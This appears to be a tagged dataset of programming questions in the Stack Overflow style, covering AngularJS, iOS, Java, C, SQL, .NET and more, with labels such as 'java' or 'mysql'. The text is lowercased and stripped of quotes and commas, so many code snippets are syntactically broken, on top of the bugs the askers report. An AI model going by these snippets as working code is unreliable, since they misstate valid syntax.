angularjs: multiple $rootscope.$watch functions failing in app.js  i m using the following function in app.js to conditionally change dom elements in case of back/forward browser buttons/keyboard:   <pre><code>angular.module( myapp )     .run(function ($rootscope  $location) {         $rootscope.$watch(function() {             if ( !$location.path().match(/\/$/) ) {                 //dom changes             }         }          true);     }); </code></pre>   i would like to add another conditional statement to do something else:   <pre><code>if ( navigator.useragent.match(/iphone/) ) {     //other stuff } </code></pre>   but no matter where i try to insert it  it breaks the script. how can i chain this in to not conflict with previous statement     edit: just to clarify  it s not intended to modify first if statement.    thanks,angularjs
unrecognised selector sent to instance uitableview  i m getting error: unrecognised selector sent to instance  upon inspection  i see there is an issue in this section of code  and more specifically: <code>[self.tableview insertsubview:ovcontroller.view abovesubview:self.parentviewcontroller.view];</code>   <pre><code>- (void) searchbartextdidbeginediting:(uisearchbar *)thesearchbar {    if(searching)   return;   //add the overlay view.   ovcontroller = [[overlayviewcontroller alloc] initwithnibname:@ overlayview  bundle:[nsbundle mainbundle]];    cgfloat yaxis = self.navigationcontroller.navigationbar.frame.size.height;   cgfloat width = self.view.frame.size.width;   cgfloat height = self.view.frame.size.height;    //parameters x = origion on x-axis  y = origon on y-axis.   cgrect frame = cgrectmake(0  yaxis  width  height);   ovcontroller.view.frame = frame;    ovcontroller.view.backgroundcolor = [uicolor graycolor];   ovcontroller.view.alpha = 0.5;    ovcontroller.rvcontroller = self;    [self.tableview insertsubview:ovcontroller.view abovesubview:self.parentviewcontroller.view];   searching = yes;  letuserselectrow = no;  //self.tableview.scrollenabled = no;   } </code></pre>   looks like there s an issue with tableview,iphone
how come std::cout works fine for [] =  12345  but not for [] = { 1   2   3   4   5 }   i ve noticed a weird discrepancy in c++.    say i have this code:   <pre><code>const char mychars[] =  12345 ; std::cout &lt;&lt; mychars; </code></pre>   the output is: 12345    however  if i then change it to:   <pre><code>const char mychars[] = { 1   2   3   4   5 }; std::cout &lt;&lt; mychars; </code></pre>   then the output is: 12345__some_random_data_in_memory__    why is it that cout appears to know the length of the first version but not the length of the second version  also  does cout even know the length     thanks.,c++
what is abstract interface according to the definition in java docs   as i know interface is fully abstract class whose methods are public by default and data members are public static final. so  what is abstract interface    <pre><code>public abstract interface servlet { public abstract void init(servletconfig paramservletconfig)         throws servletexception;  public abstract servletconfig getservletconfig();  public abstract void service(servletrequest paramservletrequest          servletresponse paramservletresponse) throws servletexception          ioexception;  public abstract string getservletinfo();  public abstract void destroy(); </code></pre>   },java
iam new finding an error in java <pre><code>package ooptutorial;  public class shoppingtest {     //name of file must be same as name of method      public static void main(string[] args) {         shopping firstclient = new shopping();         int[] pricelist = {299 399 499};         for (int i = 0; i &lt; pricelist.length; i++){             firstclient.basket(pricelist[i]);         }         system.out.println( the total price of your item is :               + firstclient.r);         system.out.println( the total price with vat :               + firstclient.totalprice());         firstclient.dailyincome(firstclient.totalprice());          shopping secondclient = new shopping();         int[] pricelist2 = {599 159 459};         for(int i = 0; pricelist2.length; i++){             secondclient.basket(pricelist2[i]);         }         system.out.println( the total price of your item is :               + secondclient.r);         system.out.println( the total price with vat :               + secondclient.totalprice());         secondclent.dailyincome(secondclient.totalprice());             system.out.println( the daily income :               + secondclient._dailyincome);     } } </code></pre>   [ed: artificial break added]   <pre><code>class shopping{     int r = 0;     final int vat_value = 17;     static int dailyincome = 0;      int basket(int itemprice){         r = itemprice;         return r;     }      int totalprice(){         return ((r * vat_value) / 100) + r;     }      public static int dailyincome(int income){         _dailyincome += income;         return _dailyincome;     } } </code></pre>,java
best practices to get base-url and absolute-path  i know there a some questions about the subject  but they all contain different answers. i am wondering what is most efficient way to get the base url and absolute path as of 5.4 +    absolute path: using magic constant   <pre><code>define( root   __dir__); //c:\wamp\www </code></pre>   alternatively write the path yourself once   <pre><code>define( root    c:\wamp\www ); </code></pre>   final use:   <pre><code>require root .  /blabla/test.php ; </code></pre>   how should i receive the absolute path otherwise  what option would be most efficient unless there aren t any better method     about the base url  i m not quite sure how to generate the url.,php
question about retain counts & initializing member variables  imagine i have a member variable   <pre><code>@property(nonatomic retain)nsarray *array; </code></pre>   now in my viewdidload i set up a simple array   <pre><code>array = [[nsarray alloc]initwithobjects:@ a  @ b   c  nil]; </code></pre>   my retain count for array is going to be 1 right     now if i were to set up the array using the accessor method   <pre><code>self.array = [[nsarray alloc]initwithobjects:@ a  @ b   c  nil]; </code></pre>   is my retain count 2 because my accessor method bumps the retain count up by 1     what s the convention for initializing member variables,objective-c
cannot be opened because the project file cannot be parsed in ios  i sync from git hub desktop development branch then i open abc.xcodeprof file i can not open error message    <blockquote>     abc.xcodeproj cannot be opened because the project file cannot be   parsed.   </blockquote>   i also tried create whole new reposaroty in git hub desktop. is there any solution you know that can open my abc.xcodeproj file please give me.    this error message    <a href= https://i.stack.imgur.com/vwlub.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vwlub.png  alt= enter image description here ></a>,ios
parser error: could not load type  default   i have built an application in asp.net 3.5 framework and it is working fine on localhost but when i am uploading it on my server the page gives an error on loading  parser error message: could not load type  default .  &lt;%@ page language= c#  autoeventwireup= true  debug= true  codefile= default.aspx.cs  inherits= default  %> so what should i do,asp.net
round uibutton  i want to know whether drawing a round uibutton(not rounded rect) is possible.    when i add a round image in a uibutton of type custom  then it looks like a round button. but at the moment the button is clicked the boundary of the button becomes visible  so that it looks like a square button  then again when the click ends it looks like a round button.<br> i want the button to look like a round button even at the moment the click happens. is this possible,iphone
what is the mean of  static int32 lvm_first = 4096   i try to get content  of <code>listview</code>  but i can t understand this sentence;   <pre><code>static int32 lvm_first = 4096; </code></pre>   what is the mean of this  why is 4096    <pre><code>static int32 lvm_first = 4096; static int32 lvm_deleteitem = (lvm_first + 8); static int32 lvm_sortitems = (lvm_first + 48); </code></pre>   and the code link is <a href= http://www.4byte.cn/question/463761/get-items-from-windows-task-manager-process-list-c.html  rel= nofollow >http://www.4byte.cn/question/463761/get-items-from-windows-task-manager-process-list-c.html</a>,c#
calling a function from a javascript object  i have been using/calling functions from objects like this:   <pre><code>var object = {      fn: function(){          alert( i can see it! );      } };  object.fn(); // it works </code></pre>   but i don t know how to call function from mere <code>{}</code> object.    <pre><code>{     fn: function() {         alert( i can\ t see it );     } }  fn(); // wont work   </code></pre>   i want to know why this is not working  is there a way to make it work,javascript
androidstudio : linking an edittext to a seekbar  i m trying to set up a timer where the input values for hours  minutes  and seconds are given via a seekbar. which widget should i get to get the values from the seekbars  right now i have three number fields set up for hours  minutes  and seconds  but when i run the app the activity prompts me to type in a value with the keyboard (a cursor shows  when it should just stay 0 until the seekbar is changed). any suggestions,android
how to stop running iphone app in background in iphone sdk 4.0 and above  please tell me some solution for how to stop app at background when we close the app in iphone sdk 4.0 and above.    can any one provide me some sample code for it.    thanks  priyanka,iphone
invalid or unexpected token on a very simple function  what is wrong here:     <pre><code>$( #evclose ).click(function(){     console.log( 323 ); });​ // line 103 </code></pre>   console:     <blockquote>    uncaught syntaxerror: invalid or unexpected token... commona.js103  </blockquote>   when i delete the entire function error does not appear.,jquery
how to display only new image that i added to the gallery in ios  viewcontroller.m   <pre><code> __block nsmutablearray *tmpassets = [@[] mutablecopy];    alassetslibrary *assetslibrary = [viewcontroller defaultassetslibrary];     [assetslibrary enumerategroupswithtypes:alassetsgroupall usingblock:^(alassetsgroup      *group  bool *stop)         {        [group enumerateassetsusingblock:^(alasset *result  nsuinteger index  bool *stop)      {            if(result)            {                [tmpassets addobject:result];            }        }];        self.assets = tmpassets;        [self.collectionview reloaddata];   }   failureblock:^(nserror *error){     nslog(@ error loading images %@   error);   }];    } </code></pre>,iphone
string operation in python. parse url <pre><code>print full_url = request.get_host()+request.get_full_path() </code></pre>   result:   <blockquote>    127.0.0.1:8000/test/en/  </blockquote>   or   <blockquote>    127.0.0.1:8000/test/ru/  </blockquote>   how to check if the end of the string is <code>/en/</code> or <code>/ru/</code>,python
what s the purpose of thousands of releases on all angular bower packages   why are there thousand of releases (tags) in each angular-bower-* repository     for e.g. read the <a href= https://github.com/angular/bower-angular-route/releases  rel= nofollow >release history of angular-bower-route</a>  there are -at the moment of writing- 1 537 releases and every few hours a new one is released...    why is this happening,angularjs
attempt to present uiview controller on uinavigationcontroller whose view is not in the windows hierarchy  i have two view controller: first login and second is main view controller. when i try to present the login view controller in <code>appdelegate</code> class then i get this following warning:    <code>2013-06-24 04:44:42.158 scrumptious[4506:19a03] warning: attempt to present &lt;scloginviewcontroller: 0x9490800&gt; on &lt;uinavigationcontroller: 0x948b0d0&gt; whose view is not in the window hierarchy!</code>,ios
segmentation fault deleting nodes from singly linked list  this is the case i am working on   <pre><code>[11] -&gt; [12] -&gt; [13] -&gt; null </code></pre>   i am trying to delete the elements from the liked list above(example) but i keep getting segfault and on running gdb doesnot help much. i am not looking for an answer but and explanation on where i am going wrong logically.    here is the code   <pre><code>int list:: remove( int val ) {     listnode *headnode = _head;     listnode *tempnode = null;      if(headnode-&gt;_value == val){         tempnode = headnode-&gt;_next;         delete headnode;         _head = tempnode;     }     else     {         while(headnode-&gt;_value != val){             tempnode = headnode;             headnode = headnode-&gt;_next;         }         tempnode-&gt;_next = headnode-&gt;_next;         delete headnode;      } } </code></pre>,c
which data model strategy to use for a relatively simple app   for a relatively simple app that manipulates objects that store a date/time and some other values  should i use property lists  archiving  or sqlite,iphone
how to change mysql database columns filed collation  i need to change below collation to <strong>utf8_general_ci</strong>    <a href= https://i.stack.imgur.com/6bsag.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6bsag.png  alt= enter image description here ></a>,mysql
android - detect network busy state for outgoing calls  i m trying to develop android application  to report network areas which have problem in network resources.    so i want to detect when an outgoing call can not be completed  and the handset receives  network busy  message from network provider.    how can i do that  even by parsing logs,android
puzzled with nspredicate predicatewithformat table  both lines of code work but not as i would expect. the first one  using a variable skips only the first item of the table and updates all the remaining items. using a string literal in the second option doesn t and works the way i want. why is this happening     <pre><code>nspredicate *predicate = [nspredicate predicatewithformat:@ mystring == %@   date];                                      or  nspredicate *predicate = [nspredicate predicatewithformat:@ mystring ==  5/24/14  ]; </code></pre>,objective-c
ng-select: get selected object  preselect by id  i have a list of users (array of objects)   <ol> <li>i need the selected user in <code>$scope.owner</code> for use elsewhere.</li> <li>i need to pre-select a user by <code>id</code> and have <code>$scope.owner</code> update with correct object values (e.g. user.email  user.address).</li> <li><code>$scope.item.userid</code> needs to change based on the selected user.</li> </ol>   this is what i have so far:   <pre><code>&lt;select     ng-model= owner      ng-change= item.userid=owner.id      ng-options= user as user.company +   -   + user.firstname +     + user.lastname for user in users track by user.id &gt; &lt;/select&gt; </code></pre>   currently <strong>1.</strong> and <strong>3.</strong> work  but when i pre select using:   <pre><code>$scope.owner = { id: 1 }; </code></pre>   then i obviously don t all the values from <code>users</code> such as <code>user.email</code>.    anyone got ideas or advice     thanks  lex,angularjs
windows service only running on the machine it generated  i have built setup file for my windows service in visual studio 2010.its working fine on my machine. but when im installing it to another machine it executed but nothing happens. i cant figure out whats happening.   <pre><code>static class program {     /// &lt;summary&gt;     /// the main entry point for the application.     /// &lt;/summary&gt;     static void main()     {         servicebase[] servicestorun; #if (!debug)           servicestorun = new servicebase[]          {             new emailservice()          };         emailservice listener = new emailservice();         listener.temp();          servicebase.run(servicestorun);  #else      emailservice listener = new emailservice();         listener.workerthreadfunc();         listener.serviceemailmethod();   #endif       }  } </code></pre>,.net
write malloced memory between processes  suppose i have started programs on one machine. every program will first of all <code>malloc</code> a piece of memory. i am wondering how do i make one process s malloced address known to other processes so that they can use <code>mmap</code> to write other processes s that malloced piece of memory,c
how does rails use memory   i have been using the rails console a fair bit lately and its making me curious. commands like   <pre><code>&gt;&gt; app.get( / ) =&gt; 200 &gt;&gt; app.html_document.to_s </code></pre>   make me curious about how does rails works in memory. can anyone explain what s going in there  what objects are getting instantiated when and when do they get destroyed,ruby-on-rails
angularjs  send data from div  i have two <code>p</code> tags and a list of goods  each good have a button. i want the information (name  price) to be displayed in my <code>p</code> tags when i click on the good s button  but only one good at a time. when clicking on another good it should be replaced by the new one.    maybe someone can help me with that.    here s my code:    html:   <pre><code>&lt;p class= name &gt;&lt;span&gt;&lt;/span&gt; &lt;/p&gt;                      &lt;p class= price &gt;&lt;span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;ul&gt;      &lt;li ng-repeat= flower in flowers &gt;          &lt;img class= buk_img  ng-src= {{flower.img}}  alt= {{flower.name}} /&gt;          &lt;p ng-bind-html= flower.name  class= cat_name &gt;&lt;/p&gt;         &lt;p class= cat_price &gt;  &lt;span&gt;{{flower.price}}&lt;/span&gt; р.&lt;/p&gt;         &lt;a href=   ng-click= send_data_to_form();  class= tobuy  &gt;заказать&lt;/a&gt;      &lt;/li&gt;  &lt;/ul&gt; </code></pre>   javascript:   <pre><code>var flashbuketapp = angular.module( flashbuketapp  [ ngsanitize ]);   flashbuketapp.controller( flashbuketlistctrl   function($scope){     $scope.flowers = [         { name :  good_name    price :  6490    img  :  http://image_url.png }          { name :  good_name    price :  6490    img  :  http://image_url.png }          { name :  good_name    price :  6490    img  :  http://image_url.png }          { name :  good_name    price :  6490    img  :  http://image_url.png }     ]; }); </code></pre>,angularjs
.net error system.argumentexception: the value can not be null or string or empty in datalayer  i m having the error  system.argumentexception: the value can not be null or string or empty. <br> at the line code       <pre><code>public sub new(byval databasename as string)             **db = new database(databasename)** end sub </code></pre>   error causing sournce file is  c:\company\main\source\datalayer\object2.vb  please find the screen shot.      please could you help     <strong>task explanation</strong><br> am trying to execute the  db_storedprocedue  from the below function of mentioned root file. c:\company\main\source\project\app_code\application\resultdataset.vb     <pre><code>    imports system.web.ui     imports system.data     imports system.io     imports company.web.tmsuite.workflow     namespace company.web.tmsuite     public class resultdataset         inherits basepage         public shared function getresultsdataset() as dataset             dim obj1 as new workflow(basepage.databasename)              dim ds as new dataset              ds = obj1.getresultdataset()              return ds          end function      end class  end namespace   </code></pre>   <strong>obj1 file located in    c:\company\main\source\workflow\object1.vb</strong>     <pre><code>imports system.globalization imports company.web.tmsuite.dataaccess imports company.web.tmsuite.tmsuitecomponents public class workflow     private objresultsdata as resultsdata    public sub new(byval databasename as string)     objmetricsdata = new metricsdata(databasename) end sub  public function obj2() as dataset         return objresultssdata.obj2()     end function end class   </code></pre>   <strong>obj2 file located in    c:\company\main\source\datalayer\object2.vb</strong>     <pre><code>imports microsoft.visualbasic imports system imports system.data imports system.configuration imports system.globalization imports system.web imports system.data.common imports company.foundationlibrary.data imports company.foundationlibrary.exceptionhandling imports company.web.tmsuite.dataaccess.exceptionpolicies imports system.data.sqlclient  public class resultsdata     inherits basedata      public sub new(byval databasename as string)         db = new database(databasename)  //error throughing at this line as -&gt;   system.argumentexception: the value can not be null or string or empty.       end sub    public function obj2() as dataset         dim errormessage as string = nothing         dim ds as new dataset         dim cmd as dbcommand          ds.locale = cultureinfo.invariantculture         try             cmd = db.getstoredproccommand( db_storedprocedue )              db.addoutparameter(cmd   @perrormessage   dbtype.string  errormessagesize)              ds = db.executedataset(cmd)              if not isdbnull(db.getparametervalue(cmd   @perrormessage )) then                 errormessage = db.getparametervalue(cmd   @perrormessage )             end if          catch ex as exception              dim blnrethrow as boolean = exceptionpolicy.handleexception(ex  dataaccessexceptionpolicy)              if blnrethrow then                 throw             end if         end try          return ds      end function end class   </code></pre>   please let me know  if i have to post additional code to resolv this issue.,.net
build a query to get the informations from a specific user  i m building a chat with three tables.    conversation  conversation_reply and user    <strong>conversation columns</strong>   <ol> <li>id</li> <li>user_one</li> <li>user_two</li> </ol>   <strong>conversation_reply columns</strong>   <ol> <li>id</li> <li>user_id</li> <li>conversation.id</li> <li>reply</li> </ol>   <strong>user columns</strong>   <ol> <li>id</li> <li>username</li> </ol>   i would like to build a list with the name from the users that are chating with a specific user.    example  my id is 711  and i am talking with three persons  i would like to get the username from those three persons.    i m having some issues building this query because the user_one and user_two are relative  the id from the receiver sometimes can be inserted as user_one  or user_two. it depends on which user starts chatting first.    how can i build a query to do that     thanks.,sql
short way to filter objects on a id  i want to filter companys based on there id s. this is how my code looks like:   <pre><code>list&lt;company&gt; vendors = new arraylist&lt;company&gt;();     descriptions.stream().foreach(desc -&gt; {         long vendorid = desc.getcompany().getid().getlongvalue();         if (vendors.stream().filter(vendor -&gt; vendor.getid().getlongvalue() == vendorid).count() == 0) {             vendors.add(desc.getcompany());         }     }); return vendors; </code></pre>   my code works but i want to know if there is a shorter way.,java
mysql insert into where occurrence in other table  im trying to insert a row into 1 table for each occurence in another.    however this says subquery returns more then 1 row. how should i rewrite it    <pre><code>insert into debiteuren_toegang set    id  = null     bedrijf = (select id from debiteuren)     website  =  web13 ; </code></pre>   thanks!,mysql
should i use numeric or alphanumeric ids  i am constructing a sql database with each record having a unique id as my primary key. i want the ids to be human readable with various parts representing sub-classifications. for example the first two-three digits represent product category  the next two-three represent location  and the last records the item. if i use a numeric code  i will need at least nine digits for each number. example  101-001-001 would mean category one  warehouse aisle one  item one. if i use alpha-numeric i could represent the same data with six digits  a1-a1-a1.     what is the difference in space required to store each number (alpha-numeric vs numeric)  since these id numbers will appear millions of times in my database  size considerations would be helpful in deciding which way to go. is there any other reason i should prefer one over the other,sql
modal window does not popup on ng-click  i m trying to add a <strong>modal popup window</strong> to my angular app.  although it lists down the names  when i click on the names a modal doesn t appear. below is my code    <strong>html:</strong>   <pre><code>&lt;div ng-app= app &gt;     &lt;div ng-repeat= customer in customers &gt;         &lt;button class= btn btn-default  ng-click= open(customer) &gt;{{ customer.name }}&lt;/button&gt; &lt;br /&gt;          &lt;!--modal window--&gt;          &lt;script type= text/ng-template  id= mycontent.html &gt;             &lt;div class= modal-header &gt;                 &lt;h3&gt;the customer name is: {{ customer.name }}&lt;/h3&gt;             &lt;/div&gt;             &lt;div class= modal-body &gt;                     this is where the customer details goes&lt;br /&gt;                     {{ customer.details }}             &lt;/div&gt;             &lt;div class= modal-footer &gt;              &lt;/div&gt;         &lt;/script&gt;     &lt;/div&gt;   &lt;/div&gt;   </code></pre>   <strong>js:</strong>   <pre><code>var app = angular.module( app   [ ngroute   ui.bootstrap ]);  app.config(function($routeprovider) {     $routeprovider.         when( /   {controller:testcontroller  templateurl: http://localhost/app/index.php/customer/home }).         otherwise({redirectto: /error }); });  function test2controller ($scope  $modalinstance  customer) {     $scope.customer = customer; }  function testcontroller ( $scope  $timeout  $modal  $log) {      $scope.customers = [         {             name:  ben               details:  some details for ben           }          {             name:  donald               details:  some donald details           }          {             name:  micky               details:  some micky details           }     ];      $scope.open = function (_customer) {          var modalinstance = $modal.open({             controller:  test2controller               templateurl:  mycontent.html               resolve: {                 customer: function()                 {                     return _customer;                 }             }         });     }; } </code></pre>   can someone let me know what am i doing wrong here,angularjs
protect readonly fields  i have such piece of code:   <pre><code>namespace nethacking {     interface iplugin     {         void execute(plugindata data);     }  public class plugindata {     private readonly string conststring =  const data ;      public void print()     {         console.writeline(conststring);     } }  [structlayout(layoutkind.explicit)] class externalplugin : iplugin {     internal class pluginhack     {         public string text;     }      [fieldoffset(0)]     private plugindata _original;     [fieldoffset(0)]     private pluginhack _hack;      public void execute(plugindata data)     {         _original = data;         _hack.text =  hacking .net ;     } }  class program {     static void main(string[] args)     {         try         {             var data = new plugindata();             var plugin = createplugin();             plugin.execute(data);              data.print();         }         catch (exception)         {             console.writeline( error! );         }         console.writeline( end );         console.read();     }      private static iplugin createplugin()     {         return new externalplugin();     } }} </code></pre>   in the example above <strong>plugindata data</strong> contains <strong>readonly string conststring</strong> string. in theory plugindata passed to execute method in iplugin should be used to initialize plugin. unfortunately <strong>externalplugin</strong> can overriding conststring externally.    is there a way to protect against that,.net
what would be the most elegant way to implement this without multiple inheritance in objective-c   basically i have classes of objects whose main function is to act as  tableview delegate.    i want to add that to some superclass. of course there is only 1 superclass and i want flexibility. what about if latter i want to add this capability to other classes at will     basically these are codes used to handle tables where users can delete or rearrange rows  etc.   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath{      nsassert(false  @ should be called at child view );     return nil; }    -(class) classbookmarked {     assert(false);     return nil; }   -(void) setediting:(bool)editing animated:(bool)animated {     [self.delegate.tvdelegated setediting:editing animated:animated];      if (!editing)     {         nsarray * newids = _armanagedobjectarray.convertarrayofnsmanagedobjecttoitsdefaultselector;          [self varmanagedobjectarrayupdated];         [bgbookmarkstorer vreportbookmarkstatustoserver:newids flag:@ update  withclass:self.classbookmarked];     } }   - (void)tableview:(uitableview *)tableview commiteditingstyle:(uitableviewcelleditingstyle)editingstyle forrowatindexpath:(nsindexpath *)indexpath {     nsuinteger row = indexpath.row;     [self deletearow:row];  }  -(void)deletearow:(nsuinteger) row {     nsindexpath * indexpath = [nsindexpath indexpathforrow:row insection:0];     [_armanagedobjectarray removeobjectatindex:row];     [self.delegate.tvdelegated deleterowsatindexpaths:@[indexpath] withrowanimation:uitableviewrowanimationfade];     [self varmanagedobjectarrayupdated]; }  -(void) varmanagedobjectarrayupdated {     [self.bookmarkstorer vupdatebookmarkidwitharray:_armanagedobjectarray];     [self.delegate vupdatenumberofstuffs];  }  -(bgbookmarkstorerforplacesandcatalog *) bookmarkstorer {     assert(false);     return nil; }  - (nsarray*) thebookmarkedids {     return self.bookmarkstorer.bookmarkedids;  } - (void)tableview:(uitableview *)tableview moverowatindexpath:(nsindexpath *)sourceindexpath toindexpath:(nsindexpath *)destinationindexpath {     nsmutablearray *  mutablebusinessbookmarked= _armanagedobjectarray;     nsmanagedobject *bizorcattomove = mutablebusinessbookmarked[sourceindexpath.row];     [mutablebusinessbookmarked removeobjectatindex:sourceindexpath.row];     [mutablebusinessbookmarked insertobject:bizorcattomove atindex:destinationindexpath.row];     //_armanagedobjectarray=mutablebusinessbookmarked;     [self varmanagedobjectarrayupdated]; }  - (uitableviewcelleditingstyle)tableview:(uitableview *)tableview editingstyleforrowatindexpath:(nsindexpath *)indexpath {     return uitableviewcelleditingstyledelete; } </code></pre>,objective-c
mouseover tooltip with css doesn t align correctly  i am trying to create a tooltip with css to span elements but when i do a mouseover it adds extra padding to original text. is there a way to fix that       here s the code <a href= http://codepen.io/anon/pen/bmjqj  rel= nofollow >http://codepen.io/anon/pen/bmjqj</a>    thank you,css
initialize mixed structure in c  i have a structure in c say    <pre><code>typedef struct __x {     char aa[10];     int a;     char bb[10];     int b;     ..     ..     ..     char zz[10];     int z; } _x; </code></pre>   how can i initialize a structure with bare minimal code  provided that <code>int</code> should be initialized with 0 and <code>char</code> with     space.    one solution i know is:   <pre><code>memset(_x 0 sizeof(_x)); </code></pre>   then individually set aa  bb  cc ... zz to      but it s a lengthy process and huge code change is required.    is there any simpler approach,c
how can i align text to the center in terminal   i want to have my text horizontally aligned to the center in the terminal. how can i do this in c,c
first letter capital and other are small latter after each dot (.) in div html  when open in browser it show :  this is first sentence. this is second sentence. this is third sentence. this is end.   and i want like   this is first sentence. this is second sentence. this is third sentence. this is end.  capital latter after each dot.,html
why we are allowed to create an object of a class inside the same class   i am just trying to figure out why it is possible to do such thing but it is not possible in some other programming languages like c++.  here is an example of what i am asking:   <pre><code>public class a{     private a objectofthesameclass;     public a()     {        objectofthesameclass=new a();     } } </code></pre>,java
iterating over a set of pointers  in my current project  i have the following type of set:   <pre><code>typedef set&lt;itemptr&gt;            itemset; </code></pre>   where itemptr is this class:   <pre><code>class itemptr {     private:     item    *ptr;      public:     itemptr(item *ptr) : ptr(ptr) { }     item* getptr() const { return ptr; } }; </code></pre>   and the following sets:   <pre><code>itemset booklist; itemset movielist; itemset musicalbumlist; </code></pre>   which are all sets contained in a class called library.  each of these sets contain instances of itemptr  where each instance of itemptr contains a pointer to to an instance of book  movie  or musicalbum.  each of these are derived classes from a class called item.  an instance of book  contains an author  title  number of pages  and a set of keywords that are common to that book.  i have a function as such:   <pre><code>const itemset* library::itemsforkeyword(const string&amp; keyword) {     return null;  //need to put code in here } </code></pre>   that needs to return all items from each set that have the parameter in its list of keywords.  i am unsure how to iterate through each set  and access it s keywords  then compare them to the parameter of the above function.  how can i do such a comparison     here is my item class:   <pre><code>class item {     public:     string mtitle;     string martist;     item(const string&amp; title  const string&amp; artist);     item();     virtual ostream &amp;print(std::ostream &amp;os) const     {         os &lt;&lt;  author: \t  &lt;&lt; martist &lt;&lt; endl;         os &lt;&lt;  title: \t  &lt;&lt; mtitle &lt;&lt; endl;         return os;     }     virtual ~item();     set&lt;string&gt;  keywordslist;     void addkeywords(string keyword); }; </code></pre>   this is the addkeywords function:   <pre><code>void item::addkeywords(string keyword) { keywordslist.insert(keyword); } </code></pre>   and here is as far as i ve gotten thus far on writing the function i need:   <pre><code>const itemset* library::itemsforkeyword(const string&amp; keyword) { itemset temp;  for(it=booklist.begin();it!=booklist.end();it++){     if(it-&gt;getptr()-&gt;keywordslist)   }  return &amp;temp; } </code></pre>   i know that by referencing getptr with my iterator  it gives me access to keywordslist  but from that point i don t know how to examine the list to compare it to the passed in keyword.  my plan is to  after comparing and finding a match  store the instance in temp  then pass back temp with all the items that contained that keyword. thanks for the help thus far.,c++
.net / c# test wanted for a non techical md  dear all i am looking for an half finished .net application to test my .net c# applicants.    as i come from a differnt coding background  it is difficult for me to assess people skills hence a great test would do a good job!    regarding checking candidates  test performance  i can ask a friend  no problem !    does a practical test exist out there  would i need to pay for it,.net
converting sql varbinary to image and receiving parameter is not valid  i am attempting to pull data from sql and display it into a picturebox on the windows form.    the code:   <pre><code>// use the customer number to obtain image from the dbfile table query.commandtext =  select * from dbfile   +      where   +      filename = @filename ;  // fill in the parameters query.parameters.addwithvalue( @filename   customernumber +  .jpg );  // build the dbfile data table da = new sqldataadapter(query); cb = new sqlcommandbuilder(da); da.fill(dbfile);  // dispose of sql data da.dispose(); cb.dispose(); query.dispose();  try {     byte[] bimage = new byte[0];     bimage = (byte[])dbfile.rows[0][ data ];     memorystream ms = new memorystream(bimage);     pblicense.image = image.fromstream(ms); // error is thrown here } catch (exception ex) {     messagebox.show(ex.message); } </code></pre>   my question is  is this the proper way of not only obtaining the data needed but also converting it into the desired outcome and if so  what am i missing . i have looked at many tutorials and guides but all seem to similar in the regard that i am attempting.,c#
copy-paste file from usb device to directory doesn t work  i m trying when i m clicking double click in my application which exists in my usb device to copy and paste some file in my computer <code>c:/</code>.     here is my code:   <pre><code> system.io.directory.move( h:\\info.rtf    c:\\info.rtf ); </code></pre>   the code doesn t work! only in case i will run the application from a local computer folder.,c#
invalid syntax in python <pre><code>grade = int(input( enter grade:  ))  def finalgrade(grade):    if grade &gt;= 90 and &lt;= 100:    return  a   elif grade &gt;=80 and &lt;= 89:     return  b  else:     return  f  </code></pre>   complains <code>invalid syntax in = sign before 100</code>    any help will greatly appreciated,python
slow query: data categorization  i currently have a table (allproducts) which contains product information. it has 16 columns and approximately 125000 rows.    i need to create a unique value in the database  as there is no unique value present in the table. i can not use the auto increment feature as my database gets emptied out and filled again on a daily basis (and thus id s for specific products will change).    i want to use a varchar field (url) to be a unique value. in order to do this i created a view (allproductscategories) which makes sure the combination of url and shop is unique.   <pre><code>select min(`a`.`insertiontime`) as `insertiontime`  `a`.`shop` as `shop`  min(`a`.`name`) as `name`  min(`a`.`category`) as `category`  max(`a`.`description`) as `description`  min(`a`.`price`) as `price`  `a`.`url` as `url`  avg(`a`.`image`) as `image`  min(`a`.`fromprice`) as `fromprice`  min(`a`.`deliverycosts`) as `deliverycosts`  max(`a`.`stock`) as `stock`  max(`a`.`deliverytime`) as `deliverytime`  max(`a`.`ean`) as `ean`  max(`a`.`color`) as `color`  max(`a`.`size`) as `size` max(`a`.`brand`) as `brand`  from `allproducts` `a` group by `a`.`url` `a`.`shop`  order by null </code></pre>   this works fine but is quite slow. the query below takes 51 seconds to complete:    <pre><code>select * from productscategories order by null limit 50  </code></pre>   i am quite new to mysql and experimented by indexing the following columns: category  name  url  shop and shop/url.    now my questions: 1) is this the correct approach if i want to ensure that the url field is unique  i currently use a group by to merge all info about one url. an alternative approach could be to delete duplicates (not sure how to do this though). 2) if the current approach is ok  how can i speed up this process,mysql
how to logout from facebook from the application in iphone   please help me with a solution!.i have a iphone app which uses the new facebook sdk(fbconnect).the app is related to video sharing.i should embed a logout button to sign out the current user from my app.i implemented it by calling <code>fn{currentapicall = kapilogout;[[facebookobject]logout:self]}</code> from my wrapper class.....tis logout shd call the logout method in facebook.m.the code is executed as expected but it does not logout from my app again on relaunching my app it is redirected to the previous account. any solutions!,iphone
asp style render - differences  i read examples  but i don t understand what is different between:   <pre><code> &lt;link href= style.css  rel= stylesheet  /&gt; </code></pre>   and   <pre><code> &lt;%: system.web.optimization.styles.render( ~/style/style ) %&gt;   </code></pre>   why use second example  thanks!,asp.net
rails model write def with a join  i m trying to establish a def for  billable  in the model for  workorders .    relationship:   <pre><code>  workorders - belongs_to :billmethod   billmethod - has_many :workorders </code></pre>   i tried these:   <pre><code>  def self.billable     joins(:billmethods).where(billmethods: { method_name !=      not billable })   end  def self.billable   where( billmethod.method_name !=      not billable ) end </code></pre>,ruby-on-rails
convert a .net 2.0 dll to .net 4.0 dll  i want to convert a .net dll from version 2.0 to .net 4.0.the issue is that i have only the .dll no source code.is there any way     thanks,.net
